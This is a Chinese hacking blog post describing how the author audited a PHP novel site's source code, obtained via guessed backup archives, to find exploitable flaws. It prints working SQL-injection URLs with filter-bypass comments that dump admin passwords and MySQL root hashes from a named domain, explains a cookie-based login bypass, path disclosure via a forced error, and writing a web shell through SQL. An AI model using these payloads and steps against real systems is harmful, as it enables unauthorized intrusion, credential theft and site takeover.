源码分析之0day的挖掘

CracerCracer 2015-12-16 渗透测试 604 0 3

20140424144356

 

由于发图都带有目标的的URL。我就不想打太多的马赛克。就设置了hosts文件将目标的域名IP地址设置成我的本地的域名。好了 废话也不多了 开始。

....................................................................................................................
疑问一:我是怎么得到源码的?
比如域名:http://baidu.com/
很多傻B管理员为了方便记主这些文件 把备份文件名改成跟域名相关的信息放在网站程序根目录里
可能有备份:
http://baidu.com/baidu.rar
http://baidu.com/baidu.7z
http://baidu.com/baidu.zip
http://baidu.com/www.rar
http://baidu.com/百度.rar
等等。。。
可能还有些是自己写好的源码然后对外开源的。。
我们可以利用Google来搜索 他的关键词或者login名 或者 一些敏感的目录+文件名来搜索到他的源码 然后进行一次深入挖掘0day

到这一步我的源码已经已得到。

/**
*在这里我还要讲一下SQL注入的危害。(目的只写给2个人看,因为我是答应人家的 这段大家就不需要看了,与
*此文章没有任何关联 可以说是多余的。。)
**/
这次就以Mysql来做个案例,

我们登录一下Mysql建立几条新的数据。
20150302044909986

由于这两位同学Mysql比我还牛X 我就不写上注释了,我Mysql能力不咋滴,老是语法错误,
经常把 insert into 表名 写成数据库。。

sql语句:
select * from admin where a_id<2;
select a_id admin where a_id = 1 and 1=1;

and 意思:‘并且’的意思或者理解成‘还要’ #相信这两位同学比我还理解 = =。
1=1 意思: 除了1=1 或1<>1之外的其它永真永假的条件同理。前提是要where的噢 = =。
参考 :
http://www.codesky.net/article/201112/121797.html
http://www.jb51.net/article/38062.htm

1496

855

order by 的讲解

在PHP程序员中 我们把 Order By 的作用是用来做排序的,
而在黑客世界中,黑客们却把他们叫做猜解字段的长度(有多少个字段)

同学们,这样说吧。。 居然我们是PHP程序员,我就利用PHP来比如order by注入的理解
我们先来写个简单的If判断.

20150302045145824

结果:

20150302045232121

警察突然知道:噢?那么说你的字段有3个咯?

然后警察就知道到底有多少个字段了。

MYSQL暴数据库:

20150302045312293

PS:Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

//介绍几个常用函数:(我也是从网上搜索的 = =。有些函数太长记不住,本人英语水平差得很。。)

version()——MySQL版本
user()——用户名
 database()——数据库名
 @@datadir——数据库路径
 @@version_compile_os——操作系统版本
 User() 查看用户
 database() --查看数据库名称
 Version() --查看数据库版本
 @@datadir --数据库路径
 @@version_compile_os--操作系统版本
 system_user() --系统用户名
 current_user()--当前用户名
 session_user()--连接数据库的用户名 

MYSQL暴表:

6291

MYSQL暴字段:

11

爆出密码:

22

这就是MYSQL注入= =。。
如果看不懂就问马浩洋老师。。。

好,90sec的基友们,让你们久等了。上面的mysql注入其实你们不必看的 浪费时间。。

20150302045539884

其实文件也还是比较多的。。我就截图比较敏感的代码出来吧。
你们肯定想说(多么?全是图片跟模板。。)

我们打开后台的公告文件这里。

33

magic_quotes_gpc:

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误 
 
array_walk_recursive:
 With the array_walk () function is similar, array_walk_recursive () function to each element in the array application callback function. It is not the same as the original, if the elements in the array is an array, will recursively calls the callback function, that is to say, will recursively to deeper in the array.

Typically, the function accepts two parameters. The value of the array parameter as the first name, as of second. If offers an optional parameter UserData, will be passed as the third parameter to the callback function.

If the callback needs to act directly on the values in the array, you can use the first parameter to the callback function is designated as a reference, so that any changes to these units will also change the original array itself.

后台注入 我就不尝试了先是过滤然后再是转义。。。本人Mysql差得很。。。

我们再看下后台登录。。

44

把注意力放到验证码上。。。

我们可以看到,当密码错误的时候,他却不会更新Session。(可尝试后台截断爆破法。个人觉得不太建议这个思路)

我把源码在本地搭建一下给大家看看。。

66

前台这里是把我吓着了。这过滤写得。。。(这程序估计是偷工减料。以前我写我博客的时候写到一半想赶紧玩游戏,然后就什么都不想就快速的写了。最后域名对外公开时 差点被我朋友给黑了。这货一天跑我博客 7 8次,而且我都没开始公布只有几个朋友知道而已。。)

include_once './includes/init.php';

$act = empty($_GET['act'])? "" : $_GET['act'];

//获取他要的分类文章

$fen = empty($_GET['fl'])? "" : $_GET['fl'];

$list = empty($_GET['list'])? "" : $_GET['list'];

$id = isset($_GET['id'])? $_GET['id']+0 : 0;

//获取分类

$mysql = new DB();

$fl = $mysql->db_getAll("select a_fenlei from {$mysql->tables('fenlei')}");

 

if($act == ""){

//获取置顶文章

//$zhiding = $mysql->db_getAll("select * from {$mysql->tables('wenzhang')} where a_zhiding = 1");

 

//取得数据总数

$e= mysql_fetch_assoc(mysql_query("select count(*) from {$mysql->tables('wenzhang')} where a_zhiding = 1"));

 

//每页显示5条

$z=5;

//计算总数页

$s= ceil($e['count(*)']/$z);

//尾页

$w = $e['count(*)']-5;

//上一页

$prev= $id-$z;

if($prev<0){

$id = 0;

}

//下一页

$next = $id+$z;

if($next>$e['count(*)']-5){

$id = $e['count(*)']-5;

$next = $w;

}

 

if($e['count(*)'] > 5){

$lists = $mysql->db_getAll("select * from {$mysql->tables('wenzhang')} where a_zhiding = 1 limit $id,$z");

}else{

$lists = $mysql->db_getAll("select * from {$mysql->tables('wenzhang')} where a_zhiding = 1");

}

 

 

include_once HOME_HTML . 'index.html';

 

}elseif ($act == 'list') {

for($i=0;$i

if($fen == $fl[$i]['a_fenlei']){

//取得数据总数

$e= mysql_fetch_assoc(mysql_query("select count(*) from {$mysql->tables('wenzhang')} where a_fenlei = '{$fen}'"));

 

//每页显示5条

$z=10;

//计算总数页

$s= ceil($e['count(*)']/$z);

//尾页

$w = $e['count(*)']-10;

//上一页

$prev= $id-$z;

if($prev<0){

$id = 0;

}

//下一页

$next = $id+$z;

if($next>$e['count(*)']-10){

$id = $e['count(*)']-10;

$next = $w;

}

//获取对应分类列表

if($e['count(*)'] > 10){

$lists = $mysql->db_getAll("select * from {$mysql->tables('wenzhang')} where a_fenlei = '{$fen}' limit $id,$z");

}else{

$lists = $mysql->db_getAll("select * from {$mysql->tables('wenzhang')} where a_fenlei = '{$fen}'");

}

include_once HOME_HTML. 'list.html';

}

}

}elseif($act == 'read' and $fen != "" and $id != ""){

 

$wenzhang = new Wenzhang();

         $sql_array = array("1=1","1=2","or","1,","2,","3,");

$fen = strtolower($fen);

$fen = str_replace($sql_array,'',$fen);

$read = $wenzhang->read($fen,$id);

 

 

 include_once HOME_HTML. 'wenzhang.html'; 

我们看下这里。。
 
$id = isset($_GET['id'])? $_GET['id']+0 : 0;

这个已经转换成一个int型,所以这个参数这个就不用看了。除非PHP是你发明出来的。

把注意力放到分类那里。

775

88

99

这个SQL语句我真是不理解他为什么要链接查询。。
之前分析了一下他的表:

111

真不理解他为什么要采用连接查询。。
还有就是我们看他的那个过滤。。
其实后台那个他过滤的还算是好的,但不知道他为什么把过滤了然后又不转义了。

$wenzhang = new Wenzhang();

     $sql_array = array("1=1","1=2","or","1,","2,","3,");

$fen = strtolower($fen);

$fen = str_replace($sql_array,'',$fen);

$read = $wenzhang->read($fen,$id);
这种过滤表示我这个菜鸟还是可以绕过的。。(本人真的很菜鸟,我应该还算是个脚本小子吧。。。PHP没精通,Mysql没精通.Linux没精通。有很 多都没学习就比如Python java学到一半花了几千块钱买了个梦幻西游号,打算无聊玩玩的,然后居然他妈的上瘾了。)

自己组合的SQL语句:

www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!and*/ 1/*!=*/'1&id=6

结果:select * from xs_wenzhang as w inner join xs_fenlei as f on w.a_fenlei = f.a_fenlei and w.a_id=6 and f.a_fenlei='穿越小说' /*!and*/ 1/*!=*/'1'

-----------------------------------------------

www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!%*/26%26 1='1&id=6

结果:select * from xs_wenzhang as w inner join xs_fenlei as f on w.a_fenlei = f.a_fenlei and w.a_id=6 and f.a_fenlei='穿越小说' /*!%*/26& 1='1'

----------------------------------------------

www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!%*/26%26 1='2' union select 1,2,3,4,5,6,7,8,9'&id=6

结果:array(7) { ["a_id"]=> string(1) "8" ["a_title"]=> string(1) "2" ["a_name"]=> string(1) "3" ["a_zhiding"]=> string(1) "4" ["a_text"]=> string(1) "5" ["a_xulietu"]=> string(1) "6" ["a_fenlei"]=> string(1) "9" } 

-----------------------------------------------------

www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!%*/26%26 1='2'/**/union+select+1/*!,*/2/*!,*/3/*!,*/4/*!,*/5/*!,*/6,7,8,9'&id=6

------------------------------------------------------

www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!%*/26%26 1='2'/**/union+select+`version`(/**/)/*!,*/2/*!,*/3/*!,*/4/*!,*/5/*!,*/6,7,8,9'&id=6#

------------------------------------------------------

222

得出0day:

(弄了我一个多小时。。。。。。)
暴后台密码:
www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!%*/26%26 1='2'/**/union+select+1/*!,*/concat(a_id,0x222D2D2D222C,a_username,0x222D2D2D222C,a_pass)/*!,*/3/*!,*/4/*!,*/5/*!,*/6,7,8,9 from xs_admin where a_id !='1&id=6

333

直接暴出root:

www.xiaoshuo.cn/index.php?act=read&fl=穿越小说' /*!%*/26%26 1='2'/**/union+select+1/*!,*/concat(User,0x222D2D2D222C,Password)/*!,*/3/*!,*/4/*!,*/5/*!,*/6,7,8,9 from mysql.user where authentication_string !='null&id=6

然后蒙了= =。。。。

MD5密码解不出 然后mysql又不对外开链。

好吧。

//获取旧密码

$jiupassword = isset($_POST['password'])?md5(sha1($_POST['password'])) : "";

//获取新密码 

$xinpassword = isset($_POST['password1'])?md5(sha1($_POST['password1'])) : "";

//获取新密码二次输入

$xinpassword2 = isset($_POST['password2'])?md5(sha1($_POST['password2'])) : "";

密码我想估计不是很复杂。因为他是经过sha1加密然后在md5再来一次加密。
尝试爆破并不是我的作风。= = 而且成功率也很低,

不过没关系,我发现了一个亮点。。。。。。。。。。。。。。。。

//开启session

@session_start();

function func(&$str){

 

$sql_array = array("%","[","]","**","union","1=","database","and","0x","(","\\");

$s = str_replace($sql_array,'',$str);

$str = addslashes($s);

return $str;

}

 

if(!get_magic_quotes_gpc()){

array_walk_recursive($_GET,'func');

array_walk_recursive($_POST,'func');

}

 

// 验证用户身份

// 获取当前请求的脚本

$script_name = basename($_SERVER['SCRIPT_NAME']);

if($script_name == 'login.php'){

if(isset($_COOKIE['Administrator']) and isset($_COOKIE['Password'])){

//验证cookie

$cookie = new Admin();

foreach ($cookie as $k => $v) {

if($v['a_username'] == $_COOKIE['Administrator'] and $v['a_password'] = $_COOKIE['Password']){

$_SESSION['admin'] = $cookie->chaxun($_COOKIE['Administrator'],$_COOKIE['Password']);

$cookie->xiugai($_COOKIE['Administrator']);

admin_redirect('index.php','您已登录',2);

}else{

admin_redirect('index.php','您的密码已过期重重新登录',2);

}

}

}

}else{

//需要验证

if(isset($_SESSION['admin'])){

}elseif(isset($_COOKIE['Administrator']) and isset($_COOKIE['Password'])){

//验证cookie

$cookie = new Admin();

foreach ($cookie as $k => $v) {

if($v['a_username'] == $_COOKIE['Administrator'] and $v['a_password'] = $_COOKIE['Password']){

$_SESSION['admin'] = $cookie->chaxun($_COOKIE['Administrator'],$_COOKIE['Password']);

$cookie->xiugai($_COOKIE['Administrator']);

admin_redirect('index.php','您已登录',2);

}else{

admin_redirect('index.php','您的密码已过期重重新登录',2);

}

}

}else{

admin_redirect('login.php','请先登录',2);

exit;

}

}


我们可以看到 如果cookie不为空就走向判断数据库那里,如果跟数据库里面的数据相等的话就可以直接进入数据库。 

我们新建2个Cookie

20150302050324162

4443


这模板。。。真美啊。。。

后台这里拿shell有压力= =。突破口除了上传就没了。。

我们看下上传的源码。。

class Upload{

//属性

//$error用来记录错误信息

public static $error='';

/**

* 单文件上传

* @param string $file 上传文件数组

* @param string $save_path 保持绝对路径

* @param array  $allow_exts 允许上传的文件类型

* @param integer$max_size    允许上传的最大大小

* @return mixed 成功返回相对网站根目录的路径,失败返回false

*/

public static function uploadSingle($file,$save_path,$allow_exts,$max_size){

//检查上传文件信息是否合法

if(!is_array($file)){

self::$error='上传文件信息不合法!';

return false;

}

//判断保存路径是否存在,如果不存在则创建

if(!is_dir($save_path)){

mkdir($save_path);

}

//获取文件后缀名

$exts= substr($file['name'],strrpos($file['name'],'.')+1);

 

//判断文件类型是否允许

if(!in_array($exts,$allow_exts)){

self::$error='文件类型不允许!';

return false;

}

//检查文件的大小是否被允许

if($file['size']>$max_size){

self::$error='文件的过大!';

return false;

}

//判断错误信息

switch ($file['error']) {

           case 1:

               self::$error = '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值!';

               return false;

           case 2:

               self::$error = '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值!';

               return false;

           case 3:

               self::$error = '文件只有部分被上传!';

               return false;

           case 4:

               self::$error = '没有文件被上传!';

               return false;

           case 6:

               self::$error = '找不到临时文件夹!';

               return false;

           case 7:

               self::$error = '文件写入失败!';

               return false;

        }

        // 获取新文件的文件名

        $newfile=date('YmdHis').'.'.$exts;

        //移动文件到指定目录

        if(move_uploaded_file($file['tmp_name'],$save_path.'/'.$newfile)){

        $path=str_replace('../','/',$save_path.'/'.$newfile);

        //echo $path;

        return $path;

        }else{

        self::$error='文件移动失败!';

        return false;

        }

}

}

 
上传的图片然后在命名为时间戳。。蛋疼蛋疼蛋疼。。后台进了等于白进。。
不过没关系。。不是存在有SQL注入吗?那么导出不就行了?
那么问题来了: 学挖掘机哪家强?中国山东找蓝翔。。。
好吧不扯淡了。。其实我是有两个思路:
第一:写个多线程的Python然后执行SQL,前提是:路径字典强大。。。
第二:直接暴路径。。居然有源码只能一步一步分析了 看看他有没有偷工减料。。
30分钟后。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
亮点在这里:

$cha = new Guanli();

$shanchu = $cha->chaxunquan();

//获取他的ID

$id = empty($_GET['id'])? "" : $_GET['id'];

if($act == "shanchuguanli" && $id != ""){

if($cha->shanchu($id)){

admin_redirect('guanli.php?act=shanchuguanli','删除成功',2);

}else{

admin_redirect('guanli.php?act=shanchuguanli','删除失败',2);

}

}

class下:

class Guanli extends DB{

 

//查询数据

public function chaxun($user,$pass){

 

$sql = "select * from {$this->tables('admin')} where a_username = '{$user}' and a_password = '{$pass}'";

return $this->db_getRow($sql);

}

 

//修改数据

public function xiugai($user,$password){

 

$sql = "UPDATE {$this->tables('admin')} SET a_pass='{$password}' where a_username = '{$user}'";

$this->db_query($sql);

}

 

//查询所有数据

public function chaxunquan(){

$sql ="select a_id,a_username from {$this->tables('admin')}";

return $this->db_getAll($sql);

}

 

//删除管理员

public function shanchu($id){

$sql = "DELETE FROM {$this->tables('admin')} WHERE a_id = {$id}";

return $this->db_query($sql);

}

 

//添加管理

public function tianjia($username,$password){

$sql = "INSERT INTO {$this->tables('admin')}(a_id,a_username,a_pass,a_last_log_ip,a_last_log_time) VALUES(null,'{$username}','{$password}','{$_SERVER['REMOTE_ADDR']}','1')";

return $this->db_query($sql);

}

 

 

}


他并没有任何判断是否少于或者等于1 就直接删除数据了。

而在模板下:

555


他却是直接读取的。。
那如果没有数据。
那个foreach 找不到那个变量的话 他肯定会爆错,然后就可以得到路径拉。。。哇哈哈哈哈。

666

看吧看吧。。。我只能说这个周亮程序员是个傻X。。。

好吧。然后执行SQL直接拿shell。。。

777

提权我就不截图了 没什么技术含量,而且我很累了。。。

888

 

 

 

 

转载请注明来自Cracer,本文标题:《源码分析之0day的挖掘》

喜欢 (3) 发布评论
发表评论


Top